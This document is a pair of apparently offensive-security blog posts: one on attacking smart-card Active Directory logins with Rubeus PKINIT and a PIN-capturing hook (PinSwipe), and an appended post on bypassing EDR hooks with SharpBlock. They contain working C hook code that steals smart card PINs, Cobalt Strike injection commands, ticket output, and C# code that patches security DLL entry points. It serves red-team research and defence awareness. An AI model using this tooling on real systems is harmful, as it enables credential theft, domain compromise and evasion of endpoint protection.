Attacking Smart Card Based Active Directory Networks

Introduction

Recently I was involved in an engagement where I was attacking smart card based Active Directory networks. The fact is though, you don’t need a physical smart card at all to authenticate to Active Directory that enforces smart card logon. The attributes of the certificate determine if it can be used for smart card based logon not the origin of the associated private key. So if you have access to the corresponding private key, smart card logon can still be achieved.

When a user has been enrolled for smart card based login, in it’s default configuration, the domain controller will accept any certificate signed by it’s trusted certificate authority that meets the following specification:

  • CRL Distribution Point must be populated, online and available
  • Key Usage for the certificate is set to Digital Signature
  • Enhanced Key Usages:
    • Smart Card Logon
    • Client Authentication (Optional, used for SSL based authentication)
  • Subject Alternative Names containing user UPN’s
  • Fully distinguished AD name of the user as the Subject

Additionally if the Allow certificates with no extended key usage certificate attribute group policy is enabled, the enhanced key usages doesn’t need to be present at all. This can lead to the abuse of other types of certificates issued to domain users or computers. Check out the post from CQURE Academy on how this policy can be abused.

Typical certificate capable of PKI/smart card login

This particularly journey of mine then began. How can we take leaked private keys or physical smart card pins and use them to our advantage.

PKINIT

As many of you are aware, modern day Active Directory uses Kerberos for authenticating to the domain. Tools like Rubeus, Mimikatz, Kekeo and impacket can be used to abuse Kerberos to the attackers advantage.

So where does PKI based authentication fit in with Kerberos? Back in 2006, a combined effort between Microsoft and the Aerospace Corporation submitted RFC 4556. This introduced public key cryptography support for Kerberos pre-authentication.

Pre-authentication is Kerberos’s answer to offline brute force attacks on an account password. Without pre-authentication enabled on an AD account, users are vulnerable to AS-REP roasting attacks. With the introduction of pre-authentication, the initial AS-REQ Kerberos request contains an encrypted timestamp. The key used to encrypt it is derived from the users password. This proves to the KDC that the user requesting the login does know the account password. Therefore, the KDC is happy to send back an encrypted AS-REP (response to AS-REQ) tied to the users password. The fact that the pre-auth data contains a timestamp also prevents replay attacks. If the pre-authenticated data is not valid, the KDC returns with an error, and no brute forcing of the AS-REP response key is possible. If an attacker is suitable placed within a network to spy on Kerberos responses though, AS-REP roasting is still possible.

PKI based authentication works in a similar fashion. It uses Kerberos pre-authentication to prove the user is who they say they are. Again, this uses a timestamp, but instead of encrypting the message with the users password derived key, it signs the message in the form of a PKCS #7 Cryptographic Message Syntax (CMS) payload using the private key belonging to the certificate. This private key can be present on a physical smart card or also be stored in other forms too, including not so secure methods. Once the KDC validates the signature of the CMS payload and everything checks out, an AS-REP is sent back to the client. One final detail of PKINIT is the encryption used for the AS-REP response. Because no password is used during a PKI based Kerberos login the user key is unknown to the client. To combat this, the AS-REP is either encrypted using a key that is obtained using the Diffie-Hellman key exchange algorithm or it is encrypted with the public key of the certificate used in the initial AS-REQ request. This initial request contains the details on which method is preferred.

From here on out, everything else remains the same. The client will have a valid TGT that can be used to request TGS tickets. The certificate is no longer used for the lifetime of the TGT and will generally remain valid for 7 days before the private key for the certificate is needed again. That’s not to say during Windows logon the private key doesn’t get used for 7 days. If the machine is locked or a user has logged out, Windows will enforce an authentication as it does with a password based login. But from an attackers perspective, this is irrelevant if they have obtained a TGT.

More in depth details on interactive and network based logon using smart cards can be found from the MS-PKCA documentation.

Rubeus with PKINIT

So I started working on adding PKINIT support to Rubeus and created a pull request. I have to give a big shout out to the Kerberos king @SteveSyfus. Kerberos.NET was a massive help when trying to understand the inner workings of PKINIT and some modified code worked it’s way into Rubeus. Also a tip of the hat to to @gentilkiwi for Kekeo/Mimikatz and @harmj0y and other Rubeus contributors. I wouldn’t have such a great tool start with in the first place if it wasn’t for their hard work.

PKCS#12 Based Authentication (PFX)

The first attack scenario I’ll cover is the exposure of a users private key. We can use a PKCS#12 certificate store which contains a users certificate along with the corresponding private key to generate a Kerberos TGT. Generating the pfx will depend on how you have managed to expose private keys in the first place. You can use OpenSSL to generate a PKCS12 store once you have the private key blob and corresponding certificate like this:

openssl pkcs12 -export -out leaked.pfx -inkey privateKey.key -in certificate.crt 

Once you have generated a valid certificate store, we can use the new addition to Rubeus to request a TGT. If you decide to protect the certificate store with a password, you can add the /password option to the command line.

Rubeus.exe asktgt /user:Administrator /certificate:leaked.pfx /domain:hacklab.local /dc:dc.hacklab.local

Rubeus will then generate a PKINIT based AS-REQ using the supplied certificate store to authenticate the user. If everything checks out and the KDC is happy you should get something similar to this:


   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
  v1.5.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
      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
  ServiceName           :  krbtgt/hacklab.local
  ServiceRealm          :  HACKLAB.LOCAL
  UserName              :  Administrator
  UserRealm             :  HACKLAB.LOCAL
  StartTime             :  02/10/2020 16:01:12
  EndTime               :  03/10/2020 02:01:12
  RenewTill             :  09/10/2020 16:01:12
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  6tIiFytU5V2cgSpXt8skdw==

The resulting .kirbi Base64 encoded string can then be used for obtaining TGS’s from the KDC as normal.

Physical Smart Card Login

After I managed to get PKINIT working with a certificate store, it then got me thinking on how we could use a physical smart card too. The main obstacle to using smart cards once a compromise of a users machine occurs is of course the PIN. Without knowing the PIN we cannot generate a valid AS-REQ. Brute forcing is out of the question since 3 invalid attempts and the card will lock you out.

One option is to capture the PIN when a user is required to unlock the smart card. This could be for a machine unlock/login, website login or other services on the network that requires smart card authentication.

After a little investigation this led me to the WinSCard DLL. This DLL is the gateway to communicating with the Smard Card service. The service then controls the resources and communication with the smart cards themselves. Generally anything that communicates with the smart card on Windows will use the WinSCard API. This also includes LSASS during login and Internet Explorer / Edge browser when authenticating to websites that require smart card authentication.

The specific export from the WinSCard.dll that interested me was the SCardTransmit API. This is the API used to transmit what the smart card ISO/IEC 7816 specification calls an Application Protocol Data Unit (APDU). This is the lowest level transmission unit that is used to communicate with a smart card.

Field nameLength (bytes)Description
CLA1Instruction class – indicates the type of command, e.g. interindustry or proprietary
INS1Instruction code – indicates the specific command, e.g. “write data”
P1-P22Instruction parameters for the command, e.g. offset into file at which to write the data
Lc0, 1 or 3Encodes the number (Nc) of bytes of command data to follow0 bytes denotes Nc=0
1 byte with a value from 1 to 255 denotes Nc with the same value
3 bytes, the first of which must be 0, denotes Nc in the range 1 to 65 535 (all three bytes may not be zero)
Command dataNcNc bytes of data
Le0, 1, 2 or 3Encodes the maximum number (Ne) of response bytes expected0 bytes denotes Ne=0
1 byte in the range 1 to 255 denotes that value of Ne, or 0 denotes Ne=256
2 bytes (if extended Lc was present in the command) in the range 1 to 65 535 denotes Ne of that value, or two zero bytes denotes 65 536
3 bytes (if Lc was not present in the command), the first of which must be 0, denote Ne in the same way as two-byte Le
Response APDU
Response dataNr (at most Ne)Response data
SW1-SW2
(Response trailer)
2Command processing status, e.g. 90 00 (hexadecimal) indicates success
APDU Structure from Wikipedia

If we hook this API, then we should be able to spy on PDU’s transmitted to the card.

LONG SCardTransmit(
  SCARDHANDLE         hCard,
  LPCSCARD_IO_REQUEST pioSendPci,
  LPCBYTE             pbSendBuffer,
  DWORD               cbSendLength,
  LPSCARD_IO_REQUEST  pioRecvPci,
  LPBYTE              pbRecvBuffer,
  LPDWORD             pcbRecvLength
);

The pbSendBuffer parameter contains the APDU packet that is is making it’s way to the card and the pbRecvBuffer will contain the response from the smart card.

Whilst the ISO smart card specification has recommendations for certain command classes and command data structures, these are generally application specific and not defined by the ISO smart card specification itself. So where do we look for answers now? For identity and access purposes NIST produced the Personal Identity Verification (PIV) SP 800-73-4 specification. Without going into too much detail, the specification covers how the smart card should handle certificates enrolled onto the device along with all the APU’s to implement the specification. The area of interest within the PIV specification is section 3.2.1 VERIFY Card Command. The section describes how the VERIFY APDU is used to validate the PIN prior to allowing access to private keys stored on the card.

So armed with the information from the ISO specification along with section 3.2.1 from the PIV specification we should be able to produce a reliable hook to capture a PIN transmitted to the card. I covered API hooking in my EDR series of blog posts, so the methods used here a the same. Here is the implementation of the hooked API.

DWORD WINAPI SCardTransmit_Hooked(SCARDHANDLE hCard,
	LPCSCARD_IO_REQUEST pioSendPci,
	LPCBYTE             pbSendBuffer,
	DWORD               cbSendLength,
	LPSCARD_IO_REQUEST  pioRecvPci,
	LPBYTE              pbRecvBuffer,
	LPDWORD             pcbRecvLength) {
	
	char debugString[1024] = { 0 };
	DWORD result = pOriginalpSCardTransmit(hCard, pioRecvPci, pbSendBuffer, cbSendLength, pioRecvPci, pbRecvBuffer, pcbRecvLength);
	//Check for CLA 0, INS 0x20 (VERIFY) and P1 of 00/FF according to NIST.SP.800-73-4 (PIV) specification
	if (cbSendLength >= 13 && pbSendBuffer[0] == 0 && pbSendBuffer[1] == 0x20 && (pbSendBuffer[2] == 0 || pbSendBuffer[2] == 0xff)) {
		//Check card response status for success
		bool success = false;
		if (pbRecvBuffer[0] == 0x90 && pbRecvBuffer[1] == 0x00) {
			success = true;
		}
		char asciiPin[9];
		sprintf_s(debugString, sizeof(debugString), "Swipped VERIFY PIN: Type %s, Valid: %s, Pin: %s", GetPinType(pbSendBuffer[3]), success ? "true" : "false", 
			GetPinAsASCII(pbSendBuffer+5, min(pbSendBuffer[4],8), asciiPin));
		SendPINOverPipe(debugString);			
	}
	return result;
}

The first thing the API call does is call the original SCardTransmit function. Not only are we interested in the request we also want to know the response from the card. This way we can determine if the transmitted PIN to the card was correct too. The function then looks for the VERIFY PDU to isolate commands specific to verifying the PIN. Once we have determined a VERIFY PDU is in progress we check the result, 0x90 0x00 signifies the PIN was validated correctly. Next, we extract the PIN from the send buffer at offset 5 (Command data within the PDU structure). Finally we transmit the PIN details over a named pipe ready for capture by a receiving application interested in the data.

Packaging this functionality into a DLL that is also capable of being reflectively loaded will allow the DLL to be injected into our process of interest without hitting the disk. You can find the complete PinSwipe project on my GitHub repo which also includes a .NET PinSwipeListener console app that will list certificates found with the Smart Card Logon Enhanced Key Usage attribute then setup a listening pipe to capture swiped PIN’s.

Demo

In this assumed breach scenario I already have a Cobalt Strike beacon connected to a victim workstation. I am using an Administrator account but a limited account will work too. The PinSwipe DLL can be injected into a high privilege process like lsass when Administrative access is obtained which enables swiping PINs during login, but with limited user level access you will be restricted to injecting into user mode processes like Internet Explorer etc…

So first of all let’s launch PinSwipeListener, this will dump out certificate information for user certificates that have the Smart Card Logon EKU.

beacon> execute-assembly C:\tools\PinSwipeListener.exe
[*] Tasked beacon to run .NET program: PinSwipeListener.exe
[+] host called home, sent: 112171 bytes
[+] received output:
[+] Found smart card logon certificate with thumbprint 55C65AB0B9B6A893A6E8449FB34DD61093B231D8 and subject CN=Administrator, CN=Users, DC=hacklab, DC=loca

With the listener now in place we need to choose which processes to inject PinSwipe.dll into. Targets like Internet Explorer, Chrome etc… are good choices since these will regularly pop up requesting PIN’s in a smart card authenticated environment. For the demo I was running Internet Explorer which was running under PID 2678. I should note that IE, like Chrome, launches child processes for various tabs in use. So you’ll need to inject the correct process. Other more advanced aggressor scripts could be used that continually look out for new IE processes and inject into them all, but I will leave that as an exercise for the reader.

beacon> dllinject 2678 C:\tools\PinSwipe.dll
[*] Tasked beacon to inject C:\tools\PinSwipe.dll into 2678

Once a user enters their PIN into the dialog, PinSwipe should do its thing and capture the request and send it over the named pipe to PinSwipeListener.

IE presenting PIN dialog for end user
[+] received output:
[+] PinSwipe: Swipped VERIFY PIN: Type PIV Card Application, Valid: true, Pin: 123456

The output for PinSwipe will indicate if the entered PIN was correct in addition to the PIN number entered. Once you have captured the PIN you can use the new Rubeus feature to request a TGT using the users physical smart card. This time the /certificate parameter will reference the thumbprint or subject name of the certificate to use not a pfx file like in first demo. The output from PinSwipeListener will help when supplying this argument.

beacon> execute-assembly C:\tools\Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[*] Tasked beacon to run .NET program: Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[+] host called home, sent: 357691 bytes
[+] received output:
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
  v1.5.0 
[*] Action: Ask TGT
[+] received output:
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] received output:
[+] TGT request successful!
[+] received output:
[*] base64(ticket.kirbi):
      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
  ServiceName           :  krbtgt/hacklab.local
  ServiceRealm          :  HACKLAB.LOCAL
  UserName              :  Administrator
  UserRealm             :  HACKLAB.LOCAL
  StartTime             :  04/10/2020 19:55:29
  EndTime               :  05/10/2020 05:55:29
  RenewTill             :  11/10/2020 19:55:29
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  5K2V8xIaGbUS8ZYqTl120Q==

That is it. You now have a TGT that can be used for 7 days for requesting new TGS tickets for accessing other network resources.

Final Notes

When using physical smart cards within your network it’s always a good idea to have cards that require a physical press of a button or better still a biometric reader. That way, any compromise of a users account will not lead to generating TGT’s since the smart card will prevent access to the private keys without the physical press of a button or biometric data being present.

References

Lets Create An EDR... And Bypass It!

Lets Create An EDR… And Bypass It! Part 2

In part one of this series we created a basic active protection EDR that terminated any program that modified memory for RWX. This was accomplished by hooking the VirtualProtect API and monitoring for the RWX memory protection flags. Check out part 1 of this series for a more detailed description on how this was done.

In part 2 I’m going to cover some bypass methods that I have seen others document and then demonstrate another method along with accompanying code.

OK, so with the introduction out the way, what methods are currently in use and the pros and cons of each bypass.

Blending in

The simplest of the methods doesn’t involve any magic at all and is all about blending in. The EDR hooks remain in place but don’t alert on any suspicious activity due the implementation of the malware. A good example of bypassing our EDR from part 1 would be to ensure that you never change or allocate memory for RWX. If you need to allocate new code or update existing code use RW mode first, then change to RX once the update is complete. If the code has no option to behave in suspicious ways, it’s time to look at bypass methods.

Unhooking

Unhooking the hooked API calls is another option. This involves reversing the operation that the EDR’s implement when patching the hooked API’s. Generally this involves loading a clean copy of the hooked DLL’s from disk and overwriting the hooked functions code. Typically this is usually only 5 bytes per hooked function. There are a few examples of how this can be done, but one such example can be found on the ired.team website. Unhooking could potentially be detected by EDR’s during this process.

Direct syscall instructions

By far the most effective solution is direct syscall instructions. This is where the malware does not make calls to the API’s themselves but implements the same stub code that the lowest level API calls implement prior to transferring to kernel mode. Since no API calls are made prior to hitting kernel code, the EDR is blind to these types of calls. This is due to the fact that generally all EDR’s implement the active protection in-process within userland code, which inherently is their weakness.

Direct syscall bypass comes at a price though. It’s by far the hardest to get right and the most verbose in code terms. Since direct syscalls are utilising the lowest level of API’s there is a ton of boilerplate needed for some functions to be called correctly. Let’s take the higher level CreateProcess API. If you wanted to create a process using syscalls only, you probably need to implement somewhere in the region of 20-30 syscall implementations. Take a look at ReactOS’s implementation of CreateProcessInternal if you don’t believe me.

Other complications that come from using direct syscalls is 32bit processes running on 64bit. 32bit programs actually switch to 64bit prior to making the syscall and then back again when returning from kernel land. Syscall indexes can also change between versions of Windows. Syscalls are implemented using a table within the kernel with the index used to reference a particular syscall. This index can change, so again, something that needs to be considered.

I have seen some excellent work in this area recently that makes the process easier. Here are some great examples

Microsoft Signed DLL Process Mitigation Policy

Another method of bypassing EDR’s can be achieved by enabling the Microsoft Signed DLL Process Mitigation Policy. Wow, that’s a mouthful. The policy is designed to prevent any DLL that is not signed by Microsoft from loading into any process where the policy is enabled. This prevents EDR’s that have not been signed or cross-signed by Microsoft from loading into the process.

ired.team have covered this method on their blog post and infact is the same solution implemented by Cobalt Strike’s blockdlls command. The policy can be enabled in-process, but it does not prevent DLL’s that have not been loaded already. This generally means it’s only effective on child processes created by your malare. It’s a simple solution to implement but all bets are off if the EDR’s active protection DLL is cross-signed by Microsoft or if Microsoft themselves implement active protection EDR within the likes of Windows Defender ATP. The policy will also prevent the malware from loading other non Microsoft DLL’s that it may need to function.

SharpBlock

Now that we have covered many of the EDR bypass solutions in use today, I’d like introduce SharpBlock. It’s just another method that I thought could be used for bypassing EDR’s that I don’t think I’ve seen used before (please let me know if you do find something).

SharpBlock can be used to load a child process and prevent any DLL from hooking into the child process. Since it specifically targets a DLL from hooking, it will still allow other DLL’s from loading into the process.

How does it work?

When SharpBlock spawns the requested child process, it uses the Windows Debug API to listen for debug events during the lifecycle of the child process. When a process is being debugged, the parent debugger process will receive these events, but the child process will be paused during this time. The fact the child process is paused during these events is a key element to why this method works. So what events are fired when debugging a process.

CREATE_PROCESS_DEBUG_EVENTFired on initial process creation, incuding child processes.
CREATE_THREAD_DEBUG_EVENTFired when a new thread is created.
EXCEPTION_DEBUG_EVENTFired when an exception occurs.
EXIT_PROCESS_DEBUG_EVENTA process has exited, including a child process.
EXIT_THREAD_DEBUG_EVENTA thread has exited
LOAD_DLL_DEBUG_EVENTA DLL has loaded within a process or one of it’s children.
OUTPUT_DEBUG_STRING_EVENTDebug strings written using the OutputDebugString API
RIP_EVENTRIP event?
UNLOAD_DLL_DEBUG_EVENTA DLL has unloaded within the debugged process or it’s children.
Debug Events

As I’m sure you have guessed by now, the particular event we are interested in is LOAD_DLL_DEBUG_EVENT. When a debugged process or one of it’s children load’s a DLL, we want to know about it.

Once we receive the event and determine it’s a DLL we would like to block, then how do we actually block it’s behavior? Well lets revisit our DLL entry point from our uber cool EDR, SylantStrike.

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        //We are not interested in callbacks when a thread is created
        DisableThreadLibraryCalls(hModule);

        //We need to create a thread when initialising our hooks since
        //DllMain is prone to lockups if executing code inline.
        HANDLE hThread = CreateThread(nullptr, 0, InitHooksThread, nullptr, 0, nullptr);
        if (hThread != nullptr) {
            CloseHandle(hThread);
        }
        break;
    }
    case DLL_PROCESS_DETACH:

        break;
    }
    return TRUE;
}

What if we change the entry points behavior to the equivalent code?

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    return TRUE;
}

If we patched the code at runtime to essentially implement this behavior, the InitHooksThread function is never called, and ergo the hooks are never put in place. We can accomplish this with the 0xC3 opcode, which translates to the x86/x64 ret instruction. If we patch the entry point function with 0xC3 at the beginning, we should get the desired effect. Before we can patch the entry point though, we need to figure out where that is.

            PE.IMAGE_DOS_HEADER dosHeader = (PE.IMAGE_DOS_HEADER)Marshal.PtrToStructure(mem, typeof(PE.IMAGE_DOS_HEADER));
            PE.IMAGE_FILE_HEADER fileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure( new IntPtr(mem.ToInt64() + dosHeader.e_lfanew) , typeof(PE.IMAGE_FILE_HEADER));

            UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
            IntPtr entryPoint;
            if ( (fileHeader.Characteristics & IMAGE_FILE_32BIT_MACHINE) == IMAGE_FILE_32BIT_MACHINE) {
                PE.IMAGE_OPTIONAL_HEADER32 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure
                    (new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER32));

                entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt32());

            } else {
                PE.IMAGE_OPTIONAL_HEADER64 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure
                    (new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER64));

                entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt64());                
            }

The code above analyses the PE header of the DLL that is in the process of being loaded to find out where the DLL entry point resides. I should note that the DLL entry point does not actually point to DllMain, but usually the C runtime initialiser that will eventually call DllMain. But for all intents and purposes we’ll call it DllMain.

Once we have calculated the final address of the entry point, we can then use the WriteProcessMemory API call to write over the entry point with the ret instruction.

                Console.WriteLine("[+] Patching DLL Entry Point at 0x{0:x}", entryPoint.ToInt64());

                if (PInvokes.WriteProcessMemory(hProcess, entryPoint, retIns, 1, out bytesWritten)) {
                    Console.WriteLine("[+] Successfully patched DLL Entry Point");
                } else {
                    Console.WriteLine("[!] Failed patched DLL Entry Point");
                }

Finally, we can trigger the process to continue on it’s merry path without the EDR hooks being applied.

PInvokes.ContinueDebugEvent((uint)DebugEvent.dwProcessId,                               
                        (uint)DebugEvent.dwThreadId,
                        dwContinueDebugEvent);

Demo

SharpBlock by @_EthicalChaos_
  DLL Blocking app for child processes

  -e, --exe=VALUE            Program to execute (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -n, --name=VALUE           Name of DLL to block
  -c, --copyright=VALUE      Copyright string to block
  -p, --product=VALUE        Product string to block
  -d, --description=VALUE    Description string to block
  -h, --help                 Display this help

SharpBlock will default to launching cmd without any arguments, but this can be overridden with the -e and -a arguments respectively. The rest of the arguments can be specified multiple times to block any DLL from it’s name on disk, the copyright value within the version info, the product value from the version info or the description value from the version info. A DLL’s version info can be found in the Details tab when viewing the file’s properties from explorer.

Going back to our example EDR from part one, this time we load notepad.exe using SharpBlock

